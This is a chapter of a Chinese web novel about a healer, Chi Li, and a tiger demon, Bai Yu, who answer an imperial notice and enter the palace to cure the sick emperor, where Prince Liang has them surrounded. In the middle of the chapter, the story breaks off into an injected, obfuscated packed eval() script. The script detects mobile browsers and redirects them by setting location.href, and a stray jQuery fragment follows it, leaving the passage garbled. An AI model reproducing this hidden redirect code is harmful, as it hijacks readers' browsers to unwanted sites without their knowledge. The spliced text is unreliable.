2. 闲暇有时尽

作品:《虎妖不许她再避红尘

    山中的日子清闲幽静,除了一如既往的与张真人问道比剑外,让虎妖越来越“人模人样”便成了迟鲤的日常中必不可少的一部分。


    “白煜,去泉里打些水来。”


    “白煜,那是捣药杵,不是磨牙棒!”


    “白煜,吃饭啦。”


    “……”


    对于迟鲤的要求,白煜做事虽非尽善尽美,但也是兴冲冲答应的,即使是迟鲤见证了少年这初次与人共居的种种趣事,在一旁笑得直不起腰,白煜也只是红着脸照做不误。


    零星几片桃花吹进窗棂,落在白煜趴桌而睡的鼻尖,又被均匀的呼吸吹起,最终停驻在迟鲤指下的竹简。


    迟鲤捏起桃红花瓣,轻敲白煜的脑袋,有了主意:“赶在桃花开尽之前,你随我去赶集如何?”


    朦胧睡眼盖不住兴奋之意,白煜点点头。


    城中集市热闹非凡,叫卖声此起彼伏,路边摊贩的梅花糕开了锅,方才四处张望的白煜顿时停下了脚步,迟鲤回头,未等牵他离开,糯香的蒸汽便模糊了二人面庞。


    迟鲤正要付钱,不远处一阵喧哗声响起,白煜顿时竖起耳朵循声望去,只见百姓们聚在一幢高墙之下,议论纷纷。


    “那里人的气味很复杂,我想去看看。”


    “小心为上。”


    捏着梅花糕,迟鲤牵着白煜的袖角靠近高墙,挤在人群之间。


    “静一静,静一静!”


    高墙边,一身着官服之人正扯着嗓子张贴布告。


    “不要挤不要挤——事关社稷,若有能者,陛下重重有赏。”


    迟鲤心中一紧,止不住的心跳,这是一张皇榜,皇榜上赫然写着——


    “朕近因国事所扰,沉疴伏枕,久难痊愈。太医屡选良方,未能调治。今出此榜文,普招天下贤士,若得病愈,愿以万两黄金,良田千亩相酬,决不虚示。”


    这曾是与太子偶遇后,迟鲤最坏的打算,如今已然成真。


    皇榜之下,百姓们议论纷纷,人心惶惶。有人叹气,有人紧张,我却无人敢上前揭榜。


    白煜读完榜文,发觉迟鲤的心跳愈加沉重,欠身问道:“是想要揭榜吗?”


    “不,我不想,宫里和我早已没了干系,我们回家……”迟鲤几乎不敢回头,便怀着心事逃离。


    白煜被拽得险些绊倒:“你分明想要——”


    “你……”迟鲤回头略显怒意,“不许偷听人心!”


    清道观门被砰的一声推开,被震落的竹叶下,张真人本想寒暄两句,谁知迟鲤反身便锁紧房门,留白煜在屋外不知所措。


    白煜连比带划好不容易道清事因,张真人微微一笑,拂尘一挥便打开了房门。


    “我有丹药一枚,治疗凡人,或有疗效。”张真人盘腿而坐,语重心长,“揭榜与否,只在你一念之间。”


    迟鲤抬起盈着泪的双眸:“陛下待我如父如君,要我旁观,我着实狠不下心,只怕深宫易入难出,再回秋冥不知是何年月……”


    “常言道,有得便有离,万事万物难有两全。”张真人不再风轻云淡,定了定脸。


    “尘缘了结时,你自会回来,三清门下,还要你亲手接下皈依三宝。”


    “谢过真人……”迟鲤下定决心,目光却忍不住转而四处寻找白煜的身影。


    迟鲤从不缺勇气,她只是不愿面对。


    “白煜呢,他怎么办?”


    “既然舍不得他,你们便一同前去,正好,若想化妖为仙,是该带他历练历练。”


    月光下,迟鲤起身走出房门,却不见他的踪影,刚走出房门,便在门槛上跌了个踉跄。


    “真人,方才白煜还在院中,你可曾知晓他去哪里了?”


    张真人摇了摇头,竟也纳起闷来。


    院墙外的竹林悉悉索索,落叶被踩碎的声音吱吱作响,院门没有关,下一秒,白煜竟以虎形忽然出现在二人面前。


    金雾闪烁,白煜又变为人形,迟鲤顺着消散的雾气,望见他右手中紧紧攥着的,正是白日里的那副皇榜。


    “你说想要它……我给你带回来了。”赶路过于匆忙,又刚化身人形,白煜正呼呼喘着粗气。


    “果真是造化。”张真人微微一笑,回头看向吃了一惊的迟鲤,“事不宜迟,看来明天便要启程了。”


    迟鲤紧咬着嘴唇答应,接过了皇榜,白煜松手,皇榜就这么坠在她手中,一张薄纸,好似重有万斤。


    山林中,夜空一如既往的澄澈,床榻之上,迟鲤翻来覆去,毫无睡意,四下无人,索性披上一袭薄衣,出了房门。


    迟鲤望向明月,想起了屋檐之上的少年剪影。


    “阿嚏——”寒风掠过,有人在迟鲤肩头盖上一袭衣袍。


    白煜的气息再熟悉不过,迟鲤欲说还休。


    “迟鲤,你在想什么?”白煜先开了口。


    “晟国朝堂盘根错节,前朝后宫往往牵一发而动全身,随我去,你不后悔?”


    “我说过,我会保护你,这是契约,不能拆散。”


    从未见过眼前人如此匪石难转,迟鲤低头轻轻一笑。


    “我……我看不懂你笑,是我的脸上有天牛虫吗?”白煜不知急着证明什么,只是在迟鲤眼中,他是愈发可爱了。


    迟鲤回过头:“我在想,我们的路还很长,但只要我们一起面对,便没有什么可怕的。”


    白煜停下了拨弄头发的手,转而认真,在她的肩头蹭了蹭。


    翌日清晨,未等迟鲤起床,白煜便早早收拾好了行囊,栓在马背上,迟鲤从张真人手中接过一方密匣,松手之时,张真人语重心长的拍了拍迟鲤的手背。


    “再入龙潭虎穴,切记,不移本真,万事小心。”张真人又转而看向马背上的白煜,“不论何时,清道观永远是二位的家。”


    两人策马而去,马蹄下落花化作尘泥湮入黄土——一向稳重淡然的张真人竟抹了把老泪,转身便在三清殿中攥紧念珠,祈祷福生无量,福生无量……


    一路上快马加鞭,不出半日便已抵达宫墙之下。


    宫门庄严巍峨,两旁的高台上,一对铜凤凰正俯视着台下众生,熠熠生辉,远远看去,好似一只吞吐凡人的巨兽。


    白煜从未见过如此雄伟的宫阙,视线久久不移:“迟鲤,这里的气息我从未见识过,很厚重,还有怨气……血腥气……”


    记忆中的形象与现实重合,迟鲤深深吸了口气,翻身下马,哗啦一声,将皇榜一把展在了宫门旁的护卫眼前。


    “快快有请——”


    片刻后,一小太监哈着腰,接过了迟鲤手中的行李与皇榜,一路向太极殿走去:“迟仙医好,张榜多次,还未有人敢揭榜,今日见了您二人,年纪轻轻又丰神俊朗,可见定有过人之处。”


    “只是这行李不可带进殿内,我替您二位收着。”


    小太监虽看着面生,倒也和蔼。


    一路上重兵严守,迟鲤白煜行至殿前,小太监上前通报之时,迟鲤趁机向白煜使了使眼色,悄声说道:


    “白煜,待会儿觐见陛下,按计划,你该称呼我什么?”


    “阿,阿姐?”


    “不错,待会儿我做什么,你照做便是。”


    未等白煜应声,太极殿雕花楼金的大门便徐徐打开——


    寝宫之内,依旧陈年模样,只是药的苦涩代替檀香萦绕在侧,不闻一丝风动,迟鲤却觉得预感不祥。


    侍女拨开帷帐,烛灯摇曳,只见皇帝平躺龙床之上,面色苍白如纸,气息微弱,三年未见,在迟鲤眼中,他的皱纹平添了不少,白发更不必说。


    谙熟的女声自帐中传来:“果真是你,我就说,天下哪有第二个迟姑娘……”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187044|165495||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    龙床边,曾经的薛贵人也换上了贵妃的服制,方才还哭的梨花带雨,抬眼望见来人是迟鲤时,立刻便放下手绢,破涕为笑。


    “你来了,我总是放心的。”


    “新人一批批的换,这一路上,除娘娘外,尚且没人认得出我来。”迟鲤上前跪在龙床一侧,招呼白煜将灵丹匣子双手奉上。


    “民女迟鲤,携义弟献敕建清道观仙丹一枚,助陛下愈疾。”


    薛贵妃玉指接过仙丹,动作轻柔,以温水服侍皇帝吞下,仙丹入唇,陛下的脸色似有恢复,只是着实缓慢——贵妃眼底尽是感恩,却有些许疑惑。


    “迟姑娘,你何时有过义弟?”薛贵妃试探道。


    “娘娘不必担心,他叫白煜,山间采药时滑下山谷,被我所救,便认我为长姐——你别看他人高马大,但先前无人教养,心底还是个孩童。”


    一旁的白煜顺势点了点头,露出一双人畜无害的眼眸。


    见薛贵妃放下心来,迟鲤便追问道:“太子殿下何在,这寝殿为何只是贵妃一人相伴,陛下又是何时染疾?”


    “说来话长,陛下之疾并非一日之寒,病来如山倒,大抵是积劳成疾,我也不知。”


    薛贵妃示意二人坐下,遣散身旁三五宫仆,继续道:“太子随军出征,自陛下卧床不醒以来,便是梁王监理国事。哦……你还不知,二皇子齐文朔,一年前被封为梁王了。”


    白煜竟没有走神,反而认真听着。


    想到梁王齐文朔,薛贵妃便止不住的叹息:“当年太后崩逝,你迟姑娘甩手隐居,这梁王的生母顾夫人便对我暗中百般欺侮,我是有苦不可言,不久顾夫人病逝,我更是日日躲着梁王走,是贵妃又如何……”


    “三年未见,顾夫人竟也不在了……”迟鲤喃喃。


    迟鲤与皇子们一同成长,皇子们在御书阁“毕了业”,她也成了太后坐下女官。自伴读时,迟鲤便发觉,那皇二子对她的眼神甚是不善,不过也是止于小打小闹。


    贵妃话音未落,白煜便先行站起,警惕的盯着殿外风声,下一秒,有人便大步流星地向龙床走去。


    一声高傲的男声传来:“呦,这可是我们大晟的稀客呀——”


    视野愈发清晰,方觉来者不善,迟鲤定睛一看,果真是梁王不请自来。


    多年未见,梁王意气不少,早已不是那时的阴暗样子,或者说,是他隐藏的更好了。


    梁王逼近之时,白煜抢先一步挡在迟鲤面前,宽厚的肩膀挡住了梁王的视线,他居高临下的看着眼前有些诧异的男子,神色坚定不移。


    气氛逼仄,贵妃倒吸了一口凉气。


    迟鲤连忙拉开白煜,一遍遍抚着他的背,向梁王恭恭敬敬行了礼。


    “许久未见,梁王殿下神采依旧。”


    梁王并未正眼瞧她,自顾自坐下:“迟大人……哦不,迟姑娘,别来无恙。”


    “既然身为平民,面对梁王,你二人是否应当行跪拜大礼?”


    薛贵妃本想上前,却见梁王神色一冷,只好作罢。


    “不必娘娘挂心,迟鲤与义弟身为平民,理应行大礼。”梁王性情难辨,迟鲤早料到会如此。


    白煜虽千百个不愿意,眼中生怒,却也只好低下头来,学着迟鲤磕头跪拜。


    二人许久未得平身,梁王却绕步龙床前,毫无预兆的抱着皇帝痛哭呐喊:


    “你们……你们二人给父皇吃了什么药,许久不见醒,你二人定是包藏祸心,妄图扰乱国政——来人啊,将这江湖骗子关押下去!”


    话音未落,一队侍卫便闻风而至,扬起兵器,矛尖银光耀在地面,将迟鲤二人团团围住。


    迟鲤的心脏仿佛在喉尖颤动,眼珠一转,飞速想着对策。


    兵卒之下,白煜默默攥紧了拳头,甲痕剜在掌心,眸中闪烁着金色暗光。